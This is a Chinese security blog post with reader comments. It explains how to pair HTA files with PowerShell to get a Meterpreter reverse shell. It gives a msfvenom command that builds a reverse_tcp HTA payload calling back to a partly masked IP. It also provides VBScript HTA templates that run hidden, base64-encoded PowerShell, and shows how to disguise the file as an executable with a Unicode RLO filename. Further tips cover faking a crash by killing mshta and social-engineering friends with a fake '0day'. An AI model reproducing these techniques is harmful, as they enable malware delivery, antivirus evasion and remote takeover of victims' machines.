原创作者:LJokerP
我去前面探探路
众所周知,Powershell早已被集成到了windows的环境中,国外大牛玩得不亦乐乎,而国内圈子却很少听到讨论Powershell的,至少我身边只有一位小伙伴一起研究,HTA更不用说了,不是学计算机的或许根本不知道这是什么鬼,当然也包括那些当年计算机基础翘课的……
男女搭配干活不累;
我爸揍我、我妈踹我,混合双打;
两王在手,拆开出、当炸弹打,怕了么;
每每两强相遇,怪怪的灵感就来了;
6级惹!看我QWER滚键盘式组合技!啪!啪!啪!
金角大王 Powershell
Linux下有bash,Windows下有Powershell。Powershell依靠在.NET这个大树下,因此也有了比如直接调用windowsAPI等强大功能和利用价值。
Powershell脚本后缀名为ps1,这种格式不像bat、vbs、exe等双击执行,而是需要经由powershell.exe启动,可以直接使用:
PowerShell.exe -ExecutionPolicy Bypass -File .\script.ps1
或者直接把脚本直接输入powershell执行。
在win7和server08后,Powershell被集成在系统中,此举方便了服务器的管理,同样,过分的的强大也让自己危险了很多。
相关内容:Microsoft某个文档 / Powershell_百度百科
银角大王 HTA
hta格式,看上去一个陌生的后缀,但实际遨游网络的你天天都接触到,因为它也是网页格式的一种,类似于html/htm ,通过html语法编写内容。
HTA是HTML-Application的缩写,是软件开发的新概念,直接将某个html页面保存成hta的格式,就是一个独立的应用软件,点开与网页内容并无区别,界面与VB、C++等程序语言所设计的软件界面没什么差别,显示为窗口交互界面。
(可能大牛们hta已经玩烂了,但我还是要科普!就要!就是倔!)
相关内容:HTA_百度百科
就是个网页!不就是钓鱼嘛!用你教?
答对了,确实类似于钓鱼,但是得补充一下,HTA虽然用HTML、JS和CSS编写,却比普通网页权限大得多,不但窗口界面跟其他软件相同,同时它也相应的具有类似于VB、C++编写的桌面程序的相同权限(读写文件、操作注册表等)。HTA本来就是被设计为制作桌面程序的,所以能直接调用其他组件执行命令。
总的说,HTA是个披着web外衣的exe应用程序,要是加上Powershell……嘿嘿嘿 (没有挖0day的技术,就放飞你的思路。)
Powershell利用脚本可以到Github上搜搜,歪果仁们的研究已然很透彻,有很多大牛的渗透脚本可以借鉴。
跳刀躲梅肯,别笑,我要出招了
先举个栗子:hello.hta(栗子没毒,复制粘贴放心食用~)
<!--hello.hta--> <html> <head> <title>hello</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <HTA:ApplicationID="oHTA" Applicationname="hta_app" border="thin" borderstyle="normal" icon="hello.ico" maximizebutton="yes" minimizebutton="yes" showintaskbar="no" singleinstance="no" sysmenu="yes" version="777" windowstate="normal" scroll="yes"> </head> <body> <center> <br> <h1>Hello HTA</h1> <br> <h2>( ⊙ o ⊙ )/出来吧!计算器!</h2> <br> </center> <script language="VBScript"> Set Hello = CreateObject("Wscript.Shell") Hello.Run "calc.exe" </script> </body> </html>
虽然说也是静态页面,但hta脚本可以直接使用vbs并调用Wscript.Shell,毕竟人家是html家里的大哥大,偏应用型的脚本类型,所以说,如果把他想象成双击就能执行的“hta大马”毫不为过!(windows自带hta环境,cmd中输入 mshta 你会发现,已经集成在win环境里了,输入完并不会弹出什么,只是确定不报错就证明有这个东西,所以说白了,运行hta跟运行exe简直一样,双击即可。)在实例hello.hta中的 <HTA:> 是HTA的一些参数设置,设置详情见之前HTA相关内容链接。
已然有了HTA的完美辅助,如果加上Powershell的暴力输出呢?
答案是:你们随便选吧,我来打崩三路。
PS: 写了老久调用powershell的hta,越写越不对劲儿,干脆借鉴Github上人家写的注入ShellCode脚本,打开Matesploit准备生成Shellcode,突然发现msfvenom上原来已经有hta-psh现成的format了,省时省力,那就加以利用好了。(我凑,之前没注意到呢……)
好吧,我们来直接成一个hta-psh的回弹脚本:
msfvenom -p windows/meterpreter/reverse_tcp lhost=175.xxx.xxx.xxx lport=8081 -f hta-psh -o test.hta
(生成的脚本内容经过base64encode加密,想学习的同学可以把base64部分还原,观察编写语法。)
发给朋友试试,(各种杀毒,安全狗,老大哥型测试环境)直接弹回了一个meterpreter_shell,从点击到回弹间隔了5到6秒,估计因为调用powershell和base64处理时间(第二次貌似点开就快了些),全过程并且没有触发到杀毒,连提醒都没有,真正“开袋即食”。
原因分析:
1. HTA依赖于mshta.exe解析,而mshta.exe是系统下自带的,所以并不用免杀就能直接调用执行,不会像vbs脚本被花式吊打。
2. Powershell嘛,同理是windows的自己人,加上参数 -nop -w hidden 后,能强行绕过UAC执行命令。
3. 端口选取8081也是一个原因,因为很少有杀毒拦截常见的http端口,如 80 / 443 / 21 / 22 / 25 / 445 / 1433 / 3306 / 3389 / 8080 / 8888 等,在不占用的情况下都可加以利用。
如此生僻的格式谁会去点开?怎么利用?
答:我!我!选我!选我!:P
确实,一个hta后缀的文件,见都没见过呢,图标还是个执行文件,打开显示一个白板,十分可疑……!辣摸……这时候就要靠猴子派来的救兵辣!
So,问题来了,你知道Unicode控制符么……
Unicode控制符:控制文字显示属性,实现类似倒序显示等属性设定。而这个特点,在文件名中同样适用!就让我们用控制符给他改个名字,再把内容丰富美化一下,再结合你聪(猥)明(琐)的灵感加上少许社工的魅力,分分钟弹shell不是梦~
来,再举个栗子:deexe.hta
<title>XXX-exp</title> <center> <h1>XXX-exp: death.exe</h1> <br> <h2>Loading...</h2> <br> [<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]35% <br> </center> <script language="VBScript"> Set Hackdo = CreateObject("Wscript.Shell") Set Check = CreateObject("Scripting.FileSystemObject") If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then Hackdo.Run "powershell.exe -nop -w hidden calc.exe" End If </script>
出现这样一个画面,是不是也会让人反应几秒呢~ 停!别喷了,我知道大家比我做的肯定好_(:зゝ∠)_
只要替换其中Powershell命令为:
pwershell.exe -nop -w hidden -e ...base64-ps1-payload-balabalabala...
就能按你所想执行你的命令了!
社工方面,美化可以集思广益,营造出完美的画面效果,哪怕利用控制符保存为html后缀,界面换成黑页。
“新做了个美到没朋友的黑页,来,发给你看看。”——人,所有理性事件中的感性漏洞也。
(理论上可以通过<HTA:>标签来控制图标的,不知为何测试不成功。)
如果想假装闪退效果,可以直接在脚本结尾加入执行 “taskkill /f /im mshta.exe” kill掉mshta的进程,因为shellcode是注入在powershell中执行的,只要powershell健在,session就能保持住。
<script language="VBScript"> Set Hackdo = CreateObject("Wscript.Shell") Set Check = CreateObject("Scripting.FileSystemObject") If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then Hackdo.Run "powershell.exe -nop -w hidden calc.exe" Hackdo.Run "taskkill /f /im mshta.exe" End If </script>
PS: 实际渗透中,得到session后记得赶紧 migrate [another-pid] 哦~
这只是个弹计算器的脚本,大可拷贝下来实际操作一遍,拷贝,新建txt文档,打开,粘贴并保存为名称deexe.hta,右键重命名,光标放在de和exe.hta之间点击右键,选择插入Unicode控制符,点击插入RLO。
Walaaa~ 恭喜获得新名称death.exe!替换成执行msf_reverse,赶紧发给好基友试射新造的核弹!
场景模拟:
“我写了个0day,xxx-server直接秒!先发给你玩玩?”
“好呀好呀!咦?一直读取…… 咦?闪退了……”
“你删了吧!有bug! 我再改改……”
我有两把枪,一把叫Power射,一把叫HT啊
4767字……赶上一篇小论文了……
那今天就介绍到这啦,更多新姿势改天聊!
PS: 这Coser像不像邓紫棋 (づ ̄3 ̄)づ╭❤~
*本文作者:LJokerP,本文属FreeBuf原创奖励计划,未经许可禁止转载
-
PushEAX干货好评,为什么从来没听过hta这玩法,真的是我太落后了么╭(°A°`)╮
-
羽毛飘啊飘啊飘三本计算机专业的表示根本没听说过
-
@ 羽毛飘啊飘啊飘 没关系,我是传媒学院毕业的,更没听过…骚年,不丢银… :P
-
@ hahaha 哈哈,其实都没时间打游戏了。写作手法偏游戏,缅怀一下大学的懒癌时光,以及各奔东西组团下本的那群小伙伴们(一般国内统称:俺寝室的儿子们 :P)。
-
yichin卧槽,计算机专业表示没没听过hta,我不活了Σ(|||▽||| )
不容错过
- 让你家的楼宇门变聪明:基于树莓派实现任意终端控制楼宇门豆豆青春不喂狗2015-11-27
- 专访腾讯TSRC新锐奖得主、挖洞新星instruderFB独家2013-10-10
- 肖恩·帕克:从黑客到亿万富翁hujias2015-07-05
- 【回播已更新】 FreeBuf公开课(直播课程):Android组件与数据存储安全分析及实战banish2015-11-19
0daybank
已有 76 条评论
三本计算机专业的表示根本没听说过
@ 羽毛飘啊飘啊飘 没关系,我是传媒学院毕业的,更没听过…骚年,不丢银…
网瘾少年一天记
@ hahaha 哈哈,其实都没时间打游戏了。写作手法偏游戏,缅怀一下大学的懒癌时光,以及各奔东西组团下本的那群小伙伴们(一般国内统称:俺寝室的儿子们 )。
为啥 我打 :P 这个表情。会变成(づ ̄3 ̄)づ这个表情 ↑↑↑
配图好帅
@ Sw0rd 是呀(早知道你这么说放自己照片好了了…哈哈哈)
[玫瑰]
@ 周星596 手机打不了表情,你大概想象一下我给你回了个及其炸的表情,恩,就这样吧…
HTA可以写“软件”[笑cry]
@ 南粤西蒙 那只是百度百科贴过来的简介,我知道只是应用级的页面文件而已,但是作为利用手法,调用权限,确实可一看作页面晋级出的应用程序,我并没说可以用hta来写完全应用级的软件,况且,以前人类上天也是笑柄,我就这么一说,你就这么一听,学到东西就好呗。(php是世界上最好的语言!开启强制打断话题技能。再问自杀么么哒)
楼主,我作为一个上王者的男人,问你一下,你敢跟我Solo么。
@ H3len 作为一个学过“田鸡赛马”这篇课文的游戏渣渣楼主,我仅代表timo,在DOTA开自定义等你,SF对撸,三塔两人头不控符可运瓶。嘻嘻
卧槽,计算机专业表示没没听过hta,我不活了Σ(|||▽||| )
@ yichin 不好意思,其实我不知道计算机专业讲不讲这个,其实我都不是计算机的。只是想告诉各位喜欢逃课上网的同学,不要浪费青春,逃课还是睡懒觉比较好。(工作之后想睡没得睡,说起就得起)
@ LJokerP 感觉像是打开了一扇新世界的大门,p.s.关于改图标的,<hta>标签只能改标题栏和任务栏图标,stackoverflow上提到,可以用winrar的自解压改程序的图标
@ yichin 这个我也有考虑到,但是自解压执行会被行为查杀,所以放弃了,研究过,自解压得申请内存存放文件,所以压缩文件一旦点开也会杀,其二,非system行为调用组件会被查杀,所以命令执行也不太完美。还需慢慢研究,慢慢把玩吧,柳暗花明有一村,说不定就玩出名堂了。其实Unicode控制符在测试时被360等提醒了,名称可能存在恶意控制符,但是并没杀掉,可以kill掉提示框或者kill整个桌面进程,强制刷新掩盖提示。
配图胸小,差评
@ 夜黑风寒 我去写篇论文:论配图人物胸大小能否由引用者决定…and…#太可爱一定是个蓝孩纸#方法论验证
干货好评,为什么从来没听过hta这玩法,真的是我太落后了么╭(°A°`)╮
@ PushEAX 有种缘分叫输入法自动补全…我本来查HTML标签的…#被动技能:随缘补刀 get!#
【评论中包含不友善的言论,已被多人举报】
@ Winck 卧槽,你这在freebuf刷自己论坛logo不太好吧…植入广告屎得快啊……
可以去看吗
@ wasterland- 是问可以运行实例的意思么?如果是,那回答是:可以,只弹出计算器,不弹出座椅哦,亲。(原谅我蛇精病犯了……)
很有启发的味道,O(∩_∩)O哈哈~思路有时比方法更重要
@ Crayon Shin-chan 有一次帮朋友linux测试提权,试了各种exp,都失败了,最后发现朋友留了个坑,shadow权限就是777的,然后dump了shadow,跑出来密码是123456haha,不过打密码死活进不去,后来才得知,密码是123456haha空格空格,从此了解到,扫扫扫,BugPocExp,不如思路清晰了来得快,有时候社工也能有很大的功效,机器无错,孰能无过,不是么?
@ Crayon Shin-chan 对了还有,777的shadow另一个思路就是直接overwrite root 的全部值,替换为新口令,进去再换回来。get + 1 ~
凳子其有大长腿?
@ 呵呵 小四代表我回答说:有哦~
菜鸟撸过了。。。大神求带飞~~~
@ Bl@ck_H@t 我不是大牛,但是freebuf很多大牛哦,多去小酒馆发问吧~
四年前,就算有用hta执行vbs代码绕过360主防加启动项的。。。这也不算是新鲜东西了吧
@ xxxx 温故知新
您说不新鲜也是,但是对于其他刚接触的同学们来说,可能就学到了新的知识呢。
中国人乘法口诀表早已烂熟于心倒背如流,你敢说英果仁第一次不会深受教导,茅塞顿开?
小语种专业专8应用托福雅思全过,7岁小学生还得Good Morning Nice to meet U.
新瓶久酒,陈酿新滋味嘛,嘿嘿~ 我其实也是刚接触不到1年,这4年我错过的姿势,还请大牛多多指教。
让20000+个路过的大灰阔中某一个不一定知道的小白能看到我的心得,就是一种分享。
见笑了,大牛既知笑言带过便好。 : P
专程来看楼主回复。。
@ 明明知道 明明大人大驾光临,小的有失远迎,实在抱歉。
要不FIT那天你来接我,请我吃个饭,我好就未及时接驾一事儿好好跟你道歉!?#听过,都说,好!#(就这么愉快地定了吧)
@ LJokerP 不要。
小伙子 图不错
@ 0xroot 嘿嘿~不会作图的主持还算什么流浪小编~ #跟我学做菜吧#
牛逼了
@ Fiend520 感谢支持!互相学习! 又见6级大牛,我才3级QWE,你都学大了…… #你看我的头像…… 像!#
这女coser是韩国女神Nia游戏,国内的coser很多的 爱丽丝伪娘团
@ jacker 呐咯嚯哆!确实好好看啊,一下勾来了这么多围观大牛~ #我仅代表SOX驻freebuf分部参拜二次元老司机!#
powershell,感觉那命令就是把事情复杂化。
我有两杆炮,一个是Linux,一个是FreeBSD
@ Rasiel
恩,在我看来其实也是,可能是没体会到精髓,或者人家母语英文反而觉得命令长又多才是全能。
歪果仁说:中国人诗歌、文言文简直看不懂,何来美感…… #谁知道呢?页脚还总有四个大字:背诵全文#
大牛你好厉害,我要抱你大腿,挖技术..
@ Angus 5级大牛,见笑了,我刚接触,得向你们学习。
,小白,长姿势了
@ yutao 加油加油,就能变大白了 (●—●)
#解锁新姿势#
@ 星期二 # 奇淫异巧技能树get! # 哈哈哈
[doge]赞
@ 灵犀杀手 别问我静静是谁,我就是灵犀……哈哈
一把叫Power射,一把叫HT啊,我只想问,楼主,你的节操呢?
@ freeman LOL里台词呀……赏金是这么说的… ( ⊙ o ⊙ )/ 报告老板,我被另一个赏金标记了!
@ yichin 农民伯伯我知道
流弊 我等望尘莫及。。。。
发hta文件和发exe文件有多大区别?社工。。。
是站着拿钱,还是跪把钱拿,麻匪总是要缴的。
是白猫还是黑猫,抓得到老鼠的都是好猫。
hta亦或exe,管他三七21,达到测试目的就行。
这位大牛如果像我一样,是个不会汇编的小白,你就知道系统自带的这个冷门钩子在我看来是多好玩的一个新鲜东西啦~
我道行不够,渡劫不了,先摆平hta这个妖孽就好,今后慢慢再赶上各位前来指教的大牛。见笑了。
赞
ubuntu的zsh与zsh比它好用。。。。。自我感觉
@ cesign 不止ubuntu哦~ zsh是挺好用的,我就在用,补全很好使,快捷键也多,如果是mac,可以配合iTerm。分屏有奇效。觉得设置麻烦的可以去github上搜一下oh-my-zsh,是个很好的zsh衍生项目。感谢这位朋友的提醒~
没记错的话,unicode来修改文件名称是不会过杀软的。
年少轻狂的时候已经试过。
恩恩,是会报的,但是没有直接拦截,部分杀毒存在放行,这个忘了写进去,虚拟机测试不太全面,360,卡巴斯基都提示存在恶意控制符了,多谢提醒!
话说,deexe.hta这个栗子打开powershell的蓝框框一闪而过,这个怎么解决
@ 木子堆金
感谢提问。上班之余有空闲时间,有其他问题我会继续解答。可能不能按时答到,请谅解。当然,我尽量一次就每个方面都分析到吧……
其实,就和cmd执行bat一样,powershell执行命令也是一闪而过,因为都是return 0 & exit的,命令进程完成,窗口化就退出了。
msf_reverse脚本会将tcp进程注入到powershell中,所以其实powershell进程确确实实是在的,虽然窗口一闪而过,但可以在cmd下使用tasklist查看到powershell的pid和进程status。虽然父进程退出了,但是已经注入到powershell里,等于跳出重新打开了,并没有必要非得要让执行过程打断停留,而命令已经执行完毕,reverse_shell也会持续注留在powershell的进程中(直到powershell进程退出)。
如果是想看到ps1脚本的code,可以直接使用`msfvenom -p [the payload U want to use] lhost=xxx.xxx.xxx.xxx lport=xxxx (或者ohter options) -f hta-psh`生成的脚本将直接print在命令行里。(只要不带 -o 参数,都是直接打印显示,将不会有文件输出);再或者,直接编辑打开生成的文件,便能看到code了。
说了一堆无关紧要的,来回答一下真正你字面上所问的问题:
1. 如果需要让执行停留在最后print完返回值,只要在命令后加上 "& pause"就好了,之后任意键退出。
2. 那个配图的shellcode是msfvenom生成shellcode的截图,不是执行产生的弹框,执行时powershell的交互是一闪而过的。(下次我换个iterm的主题颜色……)
3. 如果需打印执行返回值。可以使用 echo `the code command which u want used` (注意是1左边那个符号)。比如 echo `whoami` 和 echo whoami。 前者print ret 后者print str。将执行存为log应该不会需要吧……还是说一下得了,echo `date` | [command] >> execute.log & echo `[command]` >> execute.log
(linux 的 echo 是这样,win 玩得少,忘了是不是通用的了,你可以试试,不行再百度查查echo命令的使用吧~ :P )
Teamviewer退出的时候就有个hta,好玩的是hta调用bat或者执行format有的杀毒根本不会拦截
@ ITzhangchao 毕竟是MS自己的组件,签名白纸黑字,MS大法好啊
感觉这个技术还可以的 对于不是全备份的人挺尴尬
@ 零崎自识 阿勒阿勒~ 不是全备份是什么啊? 你是打算直接执行format还是del /s /q /f *.* 呀?太坏了太坏了
终于有一篇能看懂的了
啥也別說了,報上ID來開黑吧!
用nodejs开发还是需要的,比自带的命令行好用,ls之类的Linux命令也可以混用
win7的poweshell会弹窗只有我一个吗= =
小伙子 图不错
2017-0199